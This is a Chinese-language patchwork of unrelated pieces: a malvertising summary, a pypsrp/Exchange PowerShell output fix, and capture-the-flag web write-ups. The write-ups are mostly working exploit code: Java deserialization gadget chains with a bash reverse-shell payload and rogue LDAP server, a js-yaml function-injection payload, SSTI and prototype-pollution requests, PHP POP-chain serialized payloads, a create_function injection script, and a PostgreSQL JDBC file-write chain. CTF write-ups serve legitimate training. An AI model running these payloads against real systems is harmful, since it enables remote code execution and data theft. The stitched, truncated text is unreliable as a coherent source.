總結惡意廣告激增,對谷歌影響最大,在2023年1月中旬達到頂峰,此後有所下降。安全社區已經就其調查結果與穀歌取得聯繫。幾位研究人員製作了一份電子表格,用於跟踪惡意廣告活動和被假冒的品牌。在2023年1月19日至2023年2月22日期間,該電子表格包含了584起惡意廣告活動的示例。此外,研究人員還開發了一些工具,比如Randy McEoin開發的這個工具,它可以搜索惡意廣告,Michael McDonnell開發的這個工具也可以對活動截圖留證。

0x00 前言pypsrp是用於PowerShell遠程協議(PSRP)服務的Python客戶端。我在研究過程中,發現在Exchange Powershell下存在一些輸出的問題,本文將要介紹研究過程,給出解決方法。

0x01 簡介Exchange PowerShell Remoting

pypsrp的使用

pypsrp存在的輸出問題

解決方法

0x02 Exchange PowerShell Remoting參考資料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

默認設置下,需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

通過Powershell連接Exchange PowerShell的命令示例:

1.png通過pypsrp連接Exchange PowerShell的命令示例:

2.png如果想要加入調試信息,可以添加以下代碼:

WX20221201-104743@2x.png

0x03 pypsrp存在的輸出問題我們在Exchange PowerShell下執行命令的完整返回結果如下圖

4.png但是通過pypsrp連接Exchange PowerShell執行命令時,輸出結果不完整,無法獲得命令的完整信息,如下圖

5.png

0x04 解決方法1.定位問題

通過查看源碼,定位到代碼位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207

我們可以在這裡添加輸出message_data的代碼,代碼示例:

6.png返回結果:

10.png 11.png 12.png 13.png在調用serializer.deserialize(message_data)提取輸出結果時,這裡只提取到了一組數據,忽略了完整的結果

經過簡單的分析,發現標籤內包含完整的輸出結果,所以這裡可先通過字符串截取提取出標籤內的數據,示例代碼:

15.png進一步分析提取出來的數據,發現每個標籤分別對應一項屬性,為了提高效率,這裡使用xml.dom.minidom解析成xml格式並提取元素,示例代碼:

16.png經測試,以上代碼能夠輸出完整的結果

按照pypsrp的代碼格式,得出優化pypsrp輸出結果的代碼:

17.png使用修改過的pypsrp連接Exchange PowerShell執行命令時,能夠返回完整的輸出結果,如下圖

18.png

經測試,在測試ProxyShell的過程中,使用修改過的pypsrp也能得到完整的輸出結果

補充:

如果使用原始版本pypsrp測試ProxyShell,可通過解析代理的返回結果實現,其中需要注意的是在作Base64解密時,由於存在不可見字符,無法使用.decode('utf-8')解碼,可以換用.decode('ISO-8859-1'),還需要考慮數據被分段的問題,實現的示例代碼如下:

19.png0x05 小結本文介紹了通過pypsrp連接Exchange PowerShell執行命令返回完整輸出結果的解決方法。

web

ai_java

首先通过附件帐号信件获取到帐号
image.png
image.png
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
image.png
查找提交历史我们发现了源码
image.png
审计源码发现为 可能存在spring–boot 未授权绕过
image.png
在admin的页面下的/post_message/接口存在fastjson解析
image.png

image.png
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
image.png
image.png
image.png

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
image.png
发现能解析方法
image.png
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
image.png
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

image.png

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
image.png

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image.png
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
ac96bbdda6fc47f443ea66c992fe1300.png

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

image-20231105160341904.png

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

image-20231118204400660.png
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:
image.png
或者用DirectoryIterator类:
image.png

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

image.png

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:
image.png

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
 

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
image.png
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
image.png
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
